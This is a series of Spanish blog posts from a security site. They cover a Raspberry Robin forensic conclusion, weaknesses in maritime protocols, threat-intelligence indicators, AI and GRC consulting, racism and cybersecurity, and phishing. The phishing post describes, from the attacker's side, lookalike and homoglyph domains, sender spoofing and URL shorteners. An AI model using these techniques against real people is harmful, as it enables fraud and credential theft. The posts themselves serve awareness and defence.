Debido al análisis de las evidencias, se ha identificado que la tarjeta SD (Generic SD/MMC USB Device) está infectada. Además, es posible que el usuario copiara desde la tarjeta SD al USB USB SanDisk 3.2Gen1 USB Device un directorio ya que poseen el mismo nombre. En este caso, no se puede evidenciar que la unidad USB esté infectada pero hay una gran probabilidad. Finalmente, el dispositivo extraíble ha sido identificado así como el usuario que desencadenó la ejecución del fichero .lnk.

Referencias

• Microsoft.com: DEV-0206 and DEV-0243: An “evil” partnership
• RedCanary: Raspberry Robin gets the worm early
• Microsoft.com: A new worm hatches: Raspberry Robin’s initial propagation via USB drives
• Cybereason.com THREAT ALERT: Raspberry Robin Worm Abuses Windows Installer and QNAP Devices

La entrada Raspberry Robin: caso real de análisis forense aparece primero en Security Art Work.

Recapitulando el post anterior, la problemática habitual en el ámbito marítimo reside en factores como la confianza en el aislamiento de las redes y en la seguridad física, unidas a la larga vida útil de los sistemas y el foco en la disponibilidad. Estas características se reflejan en la forma de diseñar y operar los buques, desde aspectos generales como las arquitecturas, hasta aspectos tan específicos como los estándares de comunicación. En este artículo se procede a analizar los protocolos marítimos más utilizados en la actualidad, en referencia a su seguridad y el riesgo de ser afectados por algunos de los tipos de ciberataques más comunes.

Los protocolos de red marítimos son los estándares de comunicación que definen las reglas, sintaxis y procedimientos de comunicación interna entre los sistemas de un buque y las comunicaciones entre embarcaciones. Al igual que ha ocurrido en otros ámbitos, distintas asociaciones internacionales, como NMEA (National Marine Electronic Association) han trabajado para establecer estándares que sean utilizados por todos los fabricantes.

Estos protocolos se utilizan para comunicar los múltiples sistemas que se encuentran a bordo, como la radio VHF, el plotter, el radar, el sonar y el sensor de profundidad. Los protocolos estándares, como NMEA 2000 definen los mecanismos de comunicación entre dispositivos para asegurar compatibilidad entre dispositivos de distintos fabricantes.

Sin embargo, aunque hay mucha literatura e investigación sobre protocolos convencionales, como TCP/IP, se han realizado escasas indagaciones esta clase de protocolos marítimos, pese a estar ampliamente extendidos “por los siete mares”. No se puede pasar por alto el hecho de que el sector marítimo es víctima frecuente de ciberataques (Ataque contra el puerto de Nagoya, Japón. Ataque contra el puerto de Shahid Rajaee, Irán), por lo que es crucial seguir avanzando en la protección de los buques.

En esta línea de acción, el departamento de informática de la Western Washington University, realizó una investigación teórica que abre la puerta al análisis de estos protocolos y sus debilidades (véase Marine Network Protocols and Security Risks, by Ky Tran, Sid Keene, Erik Fretheim and Michail Tsikerdekis) Nos hemos basado en esta investigación para mostrar cómo se posicionan los estándares de comunicación marítimos en el ámbito de la ciberseguridad. En primer lugar, analizaremos el análisis de los protocolos marítimos más utilizados en buques comerciales y civiles, y el riesgo de que sean afectados por algunos de los ciberataques más comunes. Posteriormente, se presenta una comparativa de estos protocolos con TCP/IP para aportar referencia al lector.

NMEA 2000

Este protocolo open source es un estándar muy utilizado en todo tipo de buques, y está basado en el protocolo Bus CAN – J1939 (aquí puedes encontrar más información sobre este protocolo y sus debilidades). Este protocolo, al igual que CAN, permite la comunicación entre dispositivos conectados a un único bus de comunicaciones. Todos los dispositivos reciben todos los mensajes, y deciden si deben hacer algo con esa información, o si deben ignorarla.

El protocolo NMEA 2000 fue diseñado para tener una gran robustez en la detección de errores de transmisión, confirmación de envío de paquetes y latencia reducida. Sin embargo, no incorpora ningún mecanismo de seguridad. Por esta razón, es un protocolo altamente vulnerable a todos los tipos de ataques analizados.

• DoS: debido a su limitado ancho de banda (250 Kbps), es vulnerable a una inyección de paquetes, que puede inundar fácilmente la red de mensajes falsos con alta prioridad, bloqueando así el resto de las comunicaciones.
• Spoofing: El único tipo de identificador de qué nodo envía el mensaje es el código PGN insertado en cada paquete. Un atacante podría suplantar la identidad de un nodo simplemente copiando este parámetro, lo que permitiría falsear cualquier comunicación proveniente de este dispositivo.
• Packet Sniffing: Al ser un protocolo tipo bus, todos los mensajes se envían en broadcast, a todos los nodos. Esto, unido a que no se trata de un protocolo cifrado, convierte este ataque en algo trivial. Actualmente, herramientas como Wireshark o SavvyCAN permiten analizar este tipo de comunicaciones con facilidad.
• Replay/MiTM: De nuevo, al ser un protocolo tipo bus sin protecciones de seguridad, si un dispositivo se conecta entre un nodo y el resto, resulta sencillo alterar la comunicación desde/hacia este, suplantando la información inyectada a la red.

NMEA 0183

Se trata de otro protocolo open source utilizado frecuentemente en barcos, en este caso para la transmisión unidireccional de datos. Esto quiere decir que las redes están formadas por un dispositivo emisor y uno o varios dispositivos receptores. Los datos se transmiten en forma de cadenas ASCII a través de un cable serie (RS-232 o RS422), aunque también se puede utilizar sobre UDP en una red ethernet. Pese a que este protocolo es el predecesor de NMEA 2000, aún se utiliza de manera mayoritaria en buques comerciales.

De nuevo, este protocolo no incorpora ningún tipo de medidas de seguridad, por lo que es altamente vulnerable:

• DoS: debido a su bajo ancho de banda (9.6 Kbps), es vulnerable a este tipo de ataques. Un atacante podría saturar la red con facilidad, bloqueando las comunicaciones.
• Spoofing/Packet Sniffing: Al transmitir los datos en formato ASCII sin ningún tipo de cifrado, ambos ataques son triviales. Un atacante conectado a la red podría inyectar, por ejemplo, lecturas falsas del GPS.
• Replay/MiTM: De nuevo, al no tener protecciones de seguridad, es relativamente sencillo interceptar las comunicaciones y modificarlas, especialmente si se usa el protocolo sobre UDP.

AIS

El AIS (Automatic Identification System) es un sistema de tracking utilizado por los transceptores de los barcos, para gestión de tráfico marítimo. Este protocolo se utiliza para la comunicación y broadcast a otros barcos de metadatos vía VHF. Estos metadatos incluyen información sobre el nombre, las coordenadas y otros parámetros relevantes para la navegación. En general, estos mensajes se transmiten a través del puerto UDP 5321.

Este protocolo no incorpora medidas de seguridad, aunque existe una versión, menos utilizada, que cifra el tráfico (EAIS). En referencia a la vulnerabilidad frente a los distintos ataques:

• DoS: El limitado ancho de banda (9.6 Kbps), unido a características específicas del protocolo lo hacen extremadamente vulnerable a este tipo de ataques. Por ejemplo, un atacante podría denegar la transmisión de mensajes enviando, repetidamente, y de forma sincronizada, un comando a la víctima para retrasar la retransmisión de mensajes por un tiempo definido.
• Spoofing: Al no disponer de medidas de seguridad, se puede “engañar” fácilmente a los barcos que utilizan este protocolo. Por ejemplo, creando un “barco falso” que aparezca en el radar del receptor.
• Packet Sniffing: al no tener encriptación y usarse habitualmente en modo broadcast, es trivial interceptar y leer los datos transmitidos.
• Replay/MiTM: interceptar y modificar la comunicación entre dos barcos es relativamente sencillo, debido a la falta de mecanismos de protección. Un ataque de estas características podría, por ejemplo, modificar la posición real de un buque a ojos de otro, causando una situación de confusión y peligro.

OneNet

Se trata de un nuevo estándar de comunicación, basado en NMEA 2000. Está diseñado para la comunicación por redes marítimas a través de IPv6, manteniendo opciones de compatibilidad con sus protocolos predecesores, a través de pasarelas. Cada dispositivo debe ejecutar una aplicación OneNet para comunicarse con la red.

Este protocolo permite un “modo seguro” que utiliza un túnel cifrado para la transmisión de información. En este caso, se debe establecer este túnel a través del método Anonymus Diffie-Hellman, con el dispositivo “encargado” de la seguridad y el acceso a la red, conocido como HID. En caso de que esta opción segura sea activada, cada dispositivo debe obtener un certificado (expedido a través de un software específico) para poder acceder a la red. En referencia a la vulnerabilidad frente a los distintos ataques:

• DoS: El ancho de banda soportado por las redes OneNet (ethernet) es mucho mayor que el de los protocolos previamente mencionados, por lo que por lo que, a priori, es menos susceptible a este tipo de ataques.
• Spoofing: Si las medidas de seguridad están activadas, las comunicaciones se realizan a través de un túnel cifrado, lo que reduce la vulnerabilidad frente a estos ataques. No obstante, un atacante podría suplantar a un HID, haciendo que el dispositivo en cuestión se una a una “red falsa”, obteniendo así la información.
• Packet Sniffing: Si la comunicación se realiza a través del túnel cifrado, el contenido no podrá ser interceptado y leído por un atacante. De nuevo, esta protección podría ser evadida como en el caso anterior.
• Replay/MiTM: Debido a que el método Anonymous Diffie-Hellman no autentica la clave compartida, un atacante podría falsificar la conexión al inicio del proceso, haciéndolo por tanto susceptible a ataques de MiTM. No obstante, el protocolo tiene protección frente a ataques de Replay, ya que los mensajes están numerados con un código que no puede ser reutilizado.

A modo de resumen, se presenta una comparativa de estos protocolos marítimos y el protocolo TCP/Ipv6. Este último se ha seleccionado como referencia para contrastar las similitudes y diferencias en el riesgo que presentan frente a los ciberataques analizados:

En conclusión, los protocolos marítimos “tradicionales” parten de una problemática similar a otros protocolos industriales: están centrados en la disponibilidad e integridad de las comunicaciones, y no en la confidencialidad. Están diseñados para casos de uso, y no de abuso. Se confía plenamente en el aislamiento de las redes, la seguridad física y la seguridad por oscuridad como protección frente a ciberataques. Sin embargo, las soluciones de conectividad para todo tipo de sistemas son cada vez más frecuentes. Por ejemplo, para realizar mantenimientos remotos. En esa línea, es cuestión de tiempo que una red “aislada” deje de estarlo.

Aunque se está avanzando en el ámbito de la ciberseguridad, con nuevos estándares propuestos, como OneNet, aún queda un largo camino por recorrer. Por un lado, las restricciones propias del sector limitan las medidas de seguridad que pueden ser implementadas, lo que hace que incluso los nuevos protocolos sean vulnerables a ciertos ataques desde el diseño. Por otra parte, la sustitución de los protocolos de comunicación antiguos es una tarea ardua, y muy a largo plazo, que debe involucrar a fabricantes, integradores y dueños.

La entrada Ciberseguridad en el sector naval: Protocolos marítimos de comunicación aparece primero en Security Art Work.

Todos sabemos que las diferentes disciplinas de adquisición de inteligencia juegan un papel fundamental en la detección de amenazas en el ciberespacio. En este ámbito ciber cada una de estas disciplinas (simplificando, SIGINT, MASINT, HUMINT, OSINT y GEOINT) tiene un peso específico y aporta un valor determinado, conformando la base de lo que llamamos ciber inteligencia. Por ejemplo, el rol de la inteligencia de señales tiene habitualmente mucho más peso que el de la inteligencia geoespacial, y las fuentes humanas aportan mucha menos inteligencia que las señales, pero bien manejadas, de mucho más valor.

Todas las disciplinas de adquisición permiten generar inteligencia en tres niveles. En el más alto, el estratégico, encontramos inteligencia ligada a aspectos como la atribución de una operación hostil, los objetivos de un actor o la estrategia definida para lograrlos. Aunque evidentemente es muy relevante para caracterizar a una amenaza, esta inteligencia no es observable de forma directa, por lo que es difícil de convertir en inteligencia accionable.

Por debajo de la inteligencia estratégica encontramos la inteligencia operacional, en la que identificamos tácticas y técnicas de los actores hostiles y, por último, en el nivel inferior encontramos la inteligencia táctica, que permite identificar observables de bajo nivel ligados a una amenaza: direcciones IP, hashes… casi todo lo que habitualmente encontramos en un MISP. La inteligencia generada en ambos niveles ya puede convertirse en inteligencia accionable, inteligencia que permite una toma de decisiones ágil y eficiente (no entraremos en la calidad de la inteligencia de ninguno de los niveles, que es una discusión muuuuy larga para otro post).

A partir de esta inteligencia accionable, tanto de las tácticas y técnicas (inteligencia operacional) como de los observables de bajo nivel (inteligencia táctica), especificamos indicadores de compromiso que nos permiten detectar amenazas. Estos indicadores pueden ser tanto conductuales (los que especifican tácticas y técnicas) como de menor nivel (atómicos o computados). Evidentemente, los indicadores conductuales aportan mucho más valor a la detección que los indicadores de menor nivel. Tienen un mayor tiempo de vida y son más difíciles de modificar por parte del actor hostil, por lo que la capacidad de detección que proporcionan es mucho más valiosa.

El despliegue de indicadores de compromiso en nuestra infraestructura de seguridad, y el intercambio de los mismos con terceros, permiten la detección ágil de las amenazas. Aunque idealmente deberíamos trabajar con indicadores conductuales, en la práctica la mayor parte de IOC que encontramos en plataformas de intercambio, como MISP son indicadores de bajo nivel, sobre todo IP, dominios, mutexes…

Veamos un ejemplo que recorre el camino completo. El análisis de un código dañino nos proporciona el hash del ejecutable y una dirección IP de mando y control a la que conecta para recibir órdenes. En este caso, a partir de la inteligencia de fuentes técnicas (MASINT en nuestra clasificación) generamos una inteligencia táctica que especificamos de manera directa en forma de indicadores de compromiso. Podemos desplegar ambos indicadores de bajo nivel en nuestros sistemas de seguridad, por ejemplo, tanto el hash como la IP en nuestro XDR y adicionalmente la IP en los sistemas de seguridad perimetral. Con estos indicadores desplegados, ya somos capaces de detectar la presencia de este código dañino en nuestra organización (e incluso de bloquear su actividad). No obstante, si tenemos ese mismo código cambiando su hash o usando una IP diferente para mando y control, cambios triviales para el actor hostil, no somos capaces de detectarlo. Adicionalmente, el análisis de inteligencia técnica puede generar inteligencia operacional y proporcionarnos un indicador conductual: por ejemplo una secuencia de peticiones HTTPS para mando y control, en un intervalo específico o con un patrón determinado, sin importar el destino al que se envíe el tráfico. Si somos capaces de especificar este comportamiento, por ejemplo en nuestro SIEM, seremos capaces de detectar la actividad del código dañino incluso aunque cambie su IP de mando y control o su hash. De esta manera, si el actor hostil quiere pasar desapercibido, estamos obligándole a que modifique en mayor profundidad su código para que se comporte de forma diferente, lo que evidentemente es más caro que cambiar una IP o un hash.

Los indicadores de compromiso pueden ser cargados en los dispositivos de seguridad de las organizaciones y proporcionan resultados inmediatos. Ya hablamos en un post en Security Art Work, hace tres años, sobre los tipos de indicadores y de su utilidad. Pero, sobre todo, de la problemática de trabajar principalmente con indicadores de bajo nivel y no trabajar con indicadores conductuales. Simplificando, mientras sigamos trabajando con estos indicadores de bajo nivel (de nuevo, casi todo lo que podemos encontrar en un MISP: hashes, IP, nombres de dominio…) la detección de amenazas avanzadas es compleja; siempre lo es, pero si no somos capaces de especificar y compartir inteligencia operacional, lo tendremos más difícil todavía.

La entrada De la inteligencia a la detección de amenazas aparece primero en Security Art Work.

Nosotros, como trabajadores de consultoras y en concreto del área de GRC analizamos la repercusión y el impacto que la llegada de la IA puede tener en nuestro ámbito profesional.

¿Acabará la IA con nuestros puestos de trabajo? Esta es una pregunta que después del boom mediático que ha supuesto la irrupción de ChatGPT en nuestras vidas nos hacemos sin poder evitarlo, por ello, me he propuesto realizar un análisis para comprender si la IA podría llegar a sustituir el trabajo que desarrollamos en nuestros clientes, por lo que a continuación me permito aportar mi punto de vista sobre diferentes aspectos y/o razones por las cuales, a mi juicio, entiendo que es poco probable que la IA pueda sustituir o al menos asumir el trabajo desarrollado en las áreas de GRC de las consultoras tecnológicas:

Complejidad de la regulación

Las regulaciones y leyes relacionadas con la gestión del riesgo y el cumplimiento normativo pueden llegar a ser extremadamente complejas. La IA puede ayudar en la automatización de ciertas tareas relacionadas con el trabajo desarrollado por las áreas de GRC, pero la interpretación de las regulaciones y la toma de decisiones en situaciones complejas a menudo requieren un juicio humano y un conocimiento experto del contexto empresarial e incluso a veces humano, así como no menos importante de aspectos presupuestarios y financieros. Las consultoras desempeñan un papel crucial al proporcionar orientación especializada sobre cómo cumplir con las regulaciones y adaptarse a los cambios normativos en base a las necesidades de los clientes.

Un ejemplo de esta complejidad podemos trasladarla a la ejecución de un proyecto basado en la norma ISO 27001. Esta norma exige que las organizaciones realicen una evaluación de riesgos para identificar y evaluar los riesgos a los que se enfrenta la información dentro de la organización. Esta evaluación debe tener en cuenta los activos de información, las amenazas a los activos, las vulnerabilidades existentes y el impacto potencial en caso de una brecha de seguridad. Una vez realizada la evaluación de riesgos, la organización debe seleccionar los controles de seguridad apropiados para mitigar los riesgos identificados y aquí es donde la IA no puede entrar debido a la complejidad que surge debido a que la evaluación de riesgos y la selección de controles no son procesos estándar y predefinidos. Cada organización tiene sus propias características, activos de información, amenazas y vulnerabilidades específicas. Esto implica que la evaluación de riesgos y la selección de controles deben ser adaptadas a las necesidades y contextos particulares de cada organización como por ejemplo el budget en tecnología que la empresa puede o quiere asumir.

En este escenario, las consultoras con experiencia en ISO 27001 desempeñan un papel clave al brindar asesoramiento especializado, guiar el proceso de evaluación de riesgos y proporcionar recomendaciones sobre los controles de seguridad más adecuados para garantizar el cumplimiento de la norma y proteger la información de la organización.

Contexto empresarial y cultural

No se trata solo de cumplir con las regulaciones, sino también de comprender el contexto empresarial y cultural en el que opera una organización. Esto implica considerar factores específicos de la industria, las políticas internas de una empresa, las mejores prácticas y los riesgos específicos que enfrenta. La IA puede ayudar en el análisis de datos y proporcionar información valiosa, pero la comprensión completa del contexto empresarial y la toma de decisiones estratégicas requieren de la experiencia y el conocimiento humano.

Por ejemplo, consideremos una empresa del sector financiero que está sujeta a regulaciones específicas para prevenir el blanqueo de capitales. Si bien la IA puede ayudar en la detección de transacciones sospechosas o patrones inusuales, comprender el perfil de riesgo específico de la empresa, su modelo de negocio, las particularidades de su industria y las mejores prácticas requiere un conocimiento experto y una evaluación holística que va más allá de los análisis automatizados. Las consultoras pueden ofrecer una combinación de experiencia sectorial, conocimiento normativo, pero sobre todo de comprensión del entorno empresarial para ayudar a las organizaciones a desarrollar estrategias de gestión de riesgos y cumplimiento personalizadas.

Confidencialidad y ética

Trabajar en una consultara dedicada a la seguridad de la información y en concreto en el área de GRC implica trabajar con información confidencial y sensible como datos financieros, información personal y secretos comerciales. Las consultoras están comprometidas con salvaguardar la confidencialidad y aplicar prácticas éticas en el manejo de datos de sus clientes. La confidencialidad y la ética son fundamentales en estas áreas, y las consultoras tienen protocolos y medidas de seguridad establecidos para proteger la información de sus clientes. Si bien la IA puede ser útil en ciertas tareas automatizables, es importante asegurarse de que se cumplan los estándares éticos y de seguridad al utilizar esta información en proyectos relacionados con GRC.

Por ejemplo, en el ámbito de la ciberseguridad, una consultora puede ayudar a una organización a evaluar sus vulnerabilidades y fortalezas, pero también a diseñar políticas de seguridad de la información y a implementar medidas de protección adecuadas. La aplicación de la IA en este contexto debería poder cumplir con estándares éticos y de seguridad rigurosos para evitar la filtración o mal uso de información confidencial, circunstancia que hoy en día no se da.

Relaciones interpersonales, comunicación y pensamiento innovador

Trabajar en consultoría y en concreto en un área GRC implica interacciones con diversas partes interesadas, como reguladores, clientes, proveedores y empleados. La comunicación efectiva y la gestión de relaciones son cruciales en estas interacciones. La comunicación efectiva, la negociación y la resolución de conflictos son habilidades críticas, y aunque la IA ha avanzado en el procesamiento del lenguaje natural y puede ayudar en algunas interacciones, todavía se enfrenta a desafíos para comprender plenamente el contexto y el subtexto en la comunicación humana, y en este sentido, pasarán muchos años hasta que la IA alcance una “conciencia” que pueda asumir estas habilidades. Las consultoras y sus empleados si aportan esas habilidades interpersonales y experiencia en la gestión de relaciones para brindar un enfoque más completo y sobre todo práctico en estas situaciones.

Aunque la IA puede ser capaz de generar resultados predecibles y seguir patrones establecidos, la creatividad y el pensamiento innovador son atributos distintivamente humanos. La capacidad de resolver problemas complejos, encontrar soluciones fuera de lo común y generar ideas nuevas y originales son habilidades que aún no se han replicado plenamente en las máquinas. Estas habilidades son fundamentales para impulsar la innovación y el progreso en todos los ámbitos de la sociedad.

Por ejemplo, en una situación en la que una organización enfrenta una investigación regulatoria, la consultora puede brindar asesoramiento sobre cómo responder, interactuar con los reguladores y abordar los problemas identificados. Si bien la IA puede automatizar ciertos aspectos de la comunicación, como el análisis del lenguaje en correos electrónicos o documentos legales, todavía no es capaz de comprender plenamente el contexto, el subtexto y las emociones involucradas en las interacciones humanas. Aquí es donde las habilidades interpersonales y la experiencia de las consultoras son invaluables para ayudar a las organizaciones a navegar situaciones complejas y sensibles.

Dicho lo anterior, aunque la IA puede ser una herramienta valiosa en el campo del GRC, hay limitaciones en su capacidad para reemplazar por completo a las áreas de GRC de las consultoras. La complejidad de las regulaciones, la necesidad de comprender el contexto empresarial, la confidencialidad de la información y las habilidades interpersonales requeridas hacen que las consultoras sean, a mi juicio, indispensables para brindar asesoramiento especializado, adaptado a las necesidades específicas de las organizaciones.

El juicio humano, la interpretación del contexto, la ética, la creatividad, las habilidades interpersonales y la empatía son aspectos que los consultores (seres humanos al fin y al cabo) aportan y que considero que no pueden ser reemplazados por la IA.

Como conclusión, y sin querer demonizar a la IA, entiendo que la combinación de la inteligencia humana y la IA puede llevar a resultados más completos y equilibrados en diversos campos y en concreto en el de GRC, de manera que se pueda fomentar un enfoque centrado en las necesidades del cliente, por ello, ni GRC puede obviar que la IA ya está aquí, ni la IA ha llegado para sustituir a las áreas de Gobierno, Riesgo y Cumplimiento.

La entrada IA vs. GRC: Cómo la IA puede afectar a las áreas GRC de consultoras tecnológicas aparece primero en Security Art Work.

Aprovechando la coyuntura, me permito correlacionar la situación actual de aumento del racismo en el deporte con mi ámbito profesional, la ciberseguridad.

En el mundo actual cada vez más interconectado la ciberseguridad se ha convertido en una preocupación primordial, sin embargo, pocos se detienen a considerar la relación entre la ciberseguridad y el racismo. A primera vista, estos dos temas pueden parecer inconexos, pero una mirada más profunda revela una conexión sutil pero importante. En este artículo, trataré de exponer cómo el racismo afecta la ciberseguridad y cómo podemos trabajar para proteger la igualdad en el mundo digital.

El racismo también se manifiesta en forma de ciberacoso y discriminación en la red. Las personas de color son víctimas frecuentes de ataques verbales y de odio en plataformas digitales. Estos ataques no solo tienen un impacto emocional y psicológico en las víctimas, sino que también pueden comprometer su seguridad cibernética. Los acosadores pueden utilizar información personal para llevar a cabo ataques más sofisticados, como el robo de identidad o la suplantación de identidad.

Por otra parte, los sistemas de inteligencia artificial y aprendizaje automático están cada vez más presentes en nuestras vidas. Sin embargo, estos sistemas no están exentos de sesgos raciales. Los algoritmos utilizados en la inteligencia artificial pueden estar influenciados por prejuicios y estereotipos raciales, lo que lleva a una discriminación algorítmica. Esto puede resultar en la exclusión de personas de color de oportunidades y recursos, así como en la criminalización injusta de ciertos grupos raciales.

Por ello, para abordar la conexión entre la ciberseguridad y el racismo, es fundamental trabajar hacia una protección equitativa. Esto implica garantizar que todas las personas, independientemente de su ascendencia o etnia, tengan acceso a recursos y educación en ciberseguridad. Además, es esencial promover la diversidad en la industria de la ciberseguridad para abordar los sesgos y estereotipos arraigados en los sistemas y algoritmos.

En este sentido, la educación y la conciencia desempeñan un papel crucial en la lucha contra el racismo en el ámbito de la ciberseguridad. Esto implica educar a las personas sobre los riesgos cibernéticos, fomentar una cultura de respeto en la red y promover la inclusión de diferentes perspectivas en la toma de decisiones relacionadas con la seguridad en la red. Al fomentar un entorno en el que todas las personas se sientan seguras y valoradas, podemos combatir tanto el racismo como las amenazas cibernéticas.

Por todo lo anterior, la ciberseguridad y el racismo están más relacionados de lo que podría parecer a simple vista. La desigualdad en el acceso a la tecnología, el ciberacoso racial, los sesgos algorítmicos y la discriminación algorítmica son solo algunos de los aspectos que vinculan estos dos aspectos tan en boga hoy en día.

Al abordar estas cuestiones, podemos trabajar hacia un mundo digital más seguro y equitativo. La protección de la igualdad en el ámbito de la ciberseguridad es esencial para garantizar que todas las personas, sin importar su ascendencia o etnia, puedan disfrutar de los beneficios de la tecnología de manera segura y justa.

La entrada Racismo vs. Ciberseguridad. Protegiendo la igualdad en el mundo digital aparece primero en Security Art Work.

Pero ¿qué es el phishing? Entendemos como phishing un ataque de ingeniera social con el objetivo de captar o robar datos privados de los usuarios afectados: nombres de acceso, contraseñas, datos de las tarjetas de crédito, etc, normalmente mediante el uso de correos electrónicos fraudulentos genéricos.

Veamos a continuación diferentes tipos de phishing y sistemas utilizados por los criminales para este tipo de ataques.

Tipos de phishing

Spear Phishing

Es un tipo de phishing más dirigido, a diferencia del phishing genérico, este normalmente se dirige a un tipo de target específico, como por ejemplo, el administrador de sistemas de una empresa, el encargado de Recursos Humanos o incluso el conserje de un edificio.

El objetivo del spear phishing es alcanzar únicamente al target definido, por lo que, el tipo de correo electrónico generado, buscara principalmente persuadir a este a través de sus intereses, responsabilidades dentro de una organización o gustos personales.

Whaling Phishing

Similar al spear phishing, debido a que se trata de un ataque mucho más dirigido que un phishing corriente, pero con diferencias entre estos dos últimos.

El whaling busca afectar a personas con responsabilidades en una empresa o organización simulando, normalmente, ser un correo enviado por el CEO o CFO de la empresa o por alguna entidad importante vinculada a la organización. Para llamar la atención de este tipo de usuarios, se suelen utilizar métodos de persuasión más avanzados, como por ejemplo, spoofear el origen del correo para generar confianza en el usuario y que crea que el correo es legítimo, tratar temas sensibles para la empresa o la organización, como procesos judiciales, etc.

Zombie phishing

Este proceso de phishing es algo más complejo, ya que requiere de disponer de una cuenta de correo legítima y de confianza para la víctima previamente comprometida.

Este tipo de phishing busca “reanimar” una conversación antigua completamente legítima con su víctima, para añadirle una URL maliciosa y persuadir al usuario para que caiga en la trampa.

Al tratarse de una conversación legítima, este tipo de phishing se convierte en uno de los métodos más eficaces, puesto que el usuario dispone de un lazo de confianza con el sender del correo.

Smishing

Este tipo de phishing, a diferencia de los demás, no utiliza el correo electrónico como vector de entrada. El smishing se caracteriza por ser un ataque a través de mensajes SMS.

Estos SMS suelen ser mensajes cortos y concisos, buscando generar el máximo de estrés al usuario para que caiga.

Un ejemplo de smishing podría ser un SMS que simula ser de tu entidad bancaria, informando que tu cuenta ha sido comprometida, y que se requiere que accedas inmediatamente al link del SMS para verificar la información de su cuenta y poder desbloquearla.

Vishing

El vishing, se caracteriza por ser un tipo de phishing que se realiza a través de una llamada de voz, aunque el objetivo final sigue siendo el mismo, adquirir información sensible o corporativa del usuario afectado.

Volviendo al ejemplo anterior, pero enfocado en el vishing, podría tratarse de una llamada telefónica suplantando la identidad de un trabajador de tu entidad bancaria, informando de que tu cuenta ha sido comprometida. De esta forma, el atacante podría solicitar información sensible del usuario para validar que se trata del titular de la cuenta afectada. Este método es muy eficaz para conseguir información como por ejemplo el DNI, fecha de nacimiento del usuario, etc. Gracias a estos datos, un atacante podría generar un diccionario para realizar un posterior ataque de fuerza bruta o incluso para generar un phishing mucho más dirigido y creíble hacia la víctima.

Search Phishing

Este tipo de phishing suele ser utilizado en paralelo con otros tipos de phishing. La idea detrás del search phishing, es utilizar los motores de búsqueda legítimos como Google, para posicionar una web fraudulenta mediante SEO en los primeros resultados de estos motores de búsqueda. El motivo por el cual es un método bastante efectivo, se debe a la confianza que los usuarios tienen sobre estos servicios, por lo que, normalmente, no desconfiara de los resultados obtenidos tras realizar una búsqueda en alguno de estos motores.

Haciendo uso de esta técnica, el atacante puede conseguir que el usuario descargue software malicioso, introduzca sus datos en un formulario malicioso, o que utilice códigos de descuento fraudulento en la compra de un producto popular y conocido.

Angler phishing

Debido a la extensión del uso de las redes sociales en nuestro día a día para generar lazos de confianza, el Angler phishing busca aprovechar estos nuevos métodos de comunicación para engañar a los usuarios de las redes sociales.

Un atacante podría crear un perfil en Twitter simulando ser una organización, para posteriormente, una vez ha ganado la confianza de los usuarios, generar un post con una URL maliciosa.

Un ejemplo de Angler phishing, podría ser la generación de un perfil falso de una empresa de venta de productos electrónicos, que ofrece a través de sus redes sociales una oferta sobre un producto popular, para que los usuarios accedan a la URL donde se realiza esta oferta e introduzcan sus datos personales.

Metodologías

Estos serían los principales tipos de phishing existentes, pero ¿Qué técnicas utilizan los atacantes para que estos ataques de ingeniera social sean tan efectivos y generen la suficiente confianza en la víctima para que caiga en la trampa?

Existen múltiples técnicas que, combinadas entre ellas, podrían marcar la diferencia entre un phishing efectivo y un phishing mediocre. A continuación, vamos a poner algunos ejemplos de estas técnicas sin entrar en mucho detalle.

OSINT

La primera sería hacer uso de los distintos procesos de OSINT, para obtener el máximo de información pública disponible sobre la entidad, empresa, organización o persona a la que queramos realizarle el phishing.

Esto permitirá al atacante generar un phishing mucho más consistente y con menos margen de error. ¿Quién caería en un phishing de una entidad bancaria de la que nunca ha sido cliente?

Gracias a esto, podríamos llegar a identificar logotipos, localización de una organización, nombre de los empleados, etc. Estos datos podrían ser de gran ayuda a la hora de generar, por ejemplo, una firma de correo corporativa de la empresa a la que se realice el phishing.

Dominio

Adquirir un dominio sobre el que configurar el servicio de correo y enviar el phishing es siempre una buena idea. En muchos casos y dependiendo del tipo de phishing que estemos realizando, puede ser válido e incluso coherente utilizar un correo de hotmail o gmail, aunque en la mayoría de los casos, si queremos realizar un phishing de calidad, es recomendable adquirir un dominio similar al dominio de la empresa u organización sobre la que queramos realizar el ataque.

Esto se podría realizar adquiriendo un dominio igual al de la entidad, pero con un TLD distintos, o incluso, generar un dominio con alguna letra codificada en Unicode que simule una letra del abecedario, y que, a simple vista no es distinguible, como, por ejemplo, utilizar el carácter “ƿ” en lugar del carácter “p”.

Spoofing

La suplantación de identidad siempre es un buen aliado para generar un phishing consistente, dependiendo del tipo de phishing que estemos generando, se podrá realizar un tipo de suplantación u otra, siempre vinculado a la tecnología que utilicemos. No es lo mismo spoofear el sender de un correo electrónico, a suplantar el caller ID en una llamada telefónica o SMS, estas diferencias están directamente vinculadas al funcionamiento de cada una de las tecnologías que se utilizan para la ejecución del phishing.

URL Shortener

Utilizar un acortador de URL para modificar la url visible en el phishing, de esta forma, se genera un falso estado de confianza en el usuario que recibe el correo electrónico o el SMS. No es lo mismo identificar en el correo una URL de bit.ly, a que, mediante código HTML, a primera vista se identifique el dominio legitimo suplantado mientras que la URL te redirige a la web fraudulenta generada.

Aplicando todas estas metodologías, los cibercriminales han hecho del phishing y los ataques de ingeniera social uno de los vectores más potenciales, por lo que cada vez es un vector más utilizado. Han existido casos muy famosos de phishing como, por ejemplo, el ataque a Paypal en 2003, el ataque a Sony Pictures en 2014 y el ataque a la campaña presidencial de Hillary Clinton en 2016 entre otros.

Para finalizar, os dejamos algunas estadísticas de ataques de phishing de los últimos años:

• Google bloquea alrededor de 100 millones de correos electrónicos de phishing todos los días.
• Para el primer trimestre de 2022, LinkedIn fue la empresa más imitada para los intentos de phishing a nivel mundial. Las empresas más imitadas en el 2022 fueron:
  • LinkedIn (52%)
  • DHL (14%)
  • Google (7%)
  • Microsoft (6%)
  • FedEx (6%)
• El 45,56% de los correos electrónicos enviados en 2021 fueron spam.
  • Junio de 2021 tuvo el mayor porcentaje de correos electrónicos no deseados enviados, con un 48,03%.
  • Noviembre de 2021 tuvo el porcentaje más bajo de correos electrónicos no deseados enviados, con un 43,7%.

• El 24,77% de los correos electrónicos no deseados se enviaron desde Rusia. Otro 14,12% de los correos electrónicos no deseados se enviaron desde Alemania. Los 5 principales países de origen de correos electrónicos no deseados en 2021 fueron:
  • Rusia (24,77%)
  • Alemania (14,12%)
  • Estados Unidos (10,46%)
  • China (8,73%)
  • Países Bajos (4,75%)

